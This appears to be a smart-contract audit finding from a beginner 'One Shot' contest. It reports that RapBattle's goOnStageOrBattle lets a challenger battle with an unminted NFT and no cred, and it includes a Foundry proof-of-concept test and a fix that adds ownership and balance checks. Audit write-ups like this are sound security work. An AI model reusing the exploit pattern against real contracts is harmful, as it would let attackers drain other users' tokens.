First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`RapBattle::goOnStageOrBattle()` allows an inexistent NFT to become the challenger without needing to risk any cred

0xlrivo

Summary

Anyone can call RapBattle::goOnStageOrBattle(), as a challenger, passing a tokenId which isn't already been minted.

Vulnerability Details

The vulnerability is made possible because only the defender is required to transfer his NFT (so it must exist in this case) and his creds to the contract.

Also, because of OneShot::getRapperStats() suffering from the same problem, any inexistent NFT will always have a pretty high skill score of 65.

Note: for this to work the attacker don't even need to have cred tokens and, if he loses, the transaction will simply revert because he doesn't have the tokens to send to the winning defender.

Impact

Anyone can infinitely challenge the defenders with an inexistent NFT until they win, causing them to claim free Cred tokens.

Tools Used

  • Manual Review

In the following test we demonstrate that an attacker is able to use an inexistent NFT with a skill score of 65 to enter the battle.
And thus, if he knows the defender has a lower skill level, he's more probable to win.

View POC test
function _mintAndStakeRapper(address _user, uint256 _stakingDays) public returns(uint256 mintedTokenId) {
vm.startPrank(_user);
mintedTokenId = oneShot.getNextTokenId();
oneShot.mintRapper();
assert(oneShot.ownerOf(mintedTokenId) == _user);
oneShot.approve(address(streets), mintedTokenId);
streets.stake(mintedTokenId);
vm.warp(block.timestamp + (_stakingDays * 1 days) + 1 seconds);
streets.unstake(mintedTokenId);
vm.stopPrank();
}
​
function test_challengerCanBeAnInexistentNFT() public {
​
uint256 defenderTokenId = _mintAndStakeRapper(user, 1);
​
// We take the next token to be minted for out "inexistent challenger"
uint256 inexistentTokenId = oneShot.getNextTokenId();
​
uint256 defenderSkillLevel = rapBattle.getRapperSkill(defenderTokenId);
uint256 challengerSkillLevel = rapBattle.getRapperSkill(inexistentTokenId);
uint256 defenderCred = cred.balanceOf(user);
assert(challengerSkillLevel == 65);
assert(challengerSkillLevel > defenderSkillLevel);
// user is the defender
vm.startPrank(user);
cred.approve(address(rapBattle), defenderCred);
oneShot.approve(address(rapBattle), defenderTokenId);
rapBattle.goOnStageOrBattle(defenderTokenId, defenderCred);
vm.stopPrank();
​
assert(cred.balanceOf(challenger) == 0);
​
vm.startPrank(challenger);
rapBattle.goOnStageOrBattle(5, defenderCred);
vm.stopPrank();
}

Recommendations

Force the challenger to transfer his NFT so you can be sure that:

  • the NFT actually exists

  • the challenger actually owns the NFT

Alternatively, if you don't want to waste gas for the two additional transfers required for this first fix, you can just add the following checks inside goOnStageOrBattle:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
// ...
} else {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender);
+ require(credToken.balanceOf(msg.sender) >= _credBet);
_battle(_tokenId, _credBet);
}
}

Note: if the _tokenId do not exists ERC721::ownerOf() will revert with ERC721NonexistentToken

Note: we can also assert before entering the battle that the challenger has enough cred tokens to pay if he loses. It isn't mandatory since the transaction will revert later even without it but, by checking before entering _battle(), we can save some gas.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.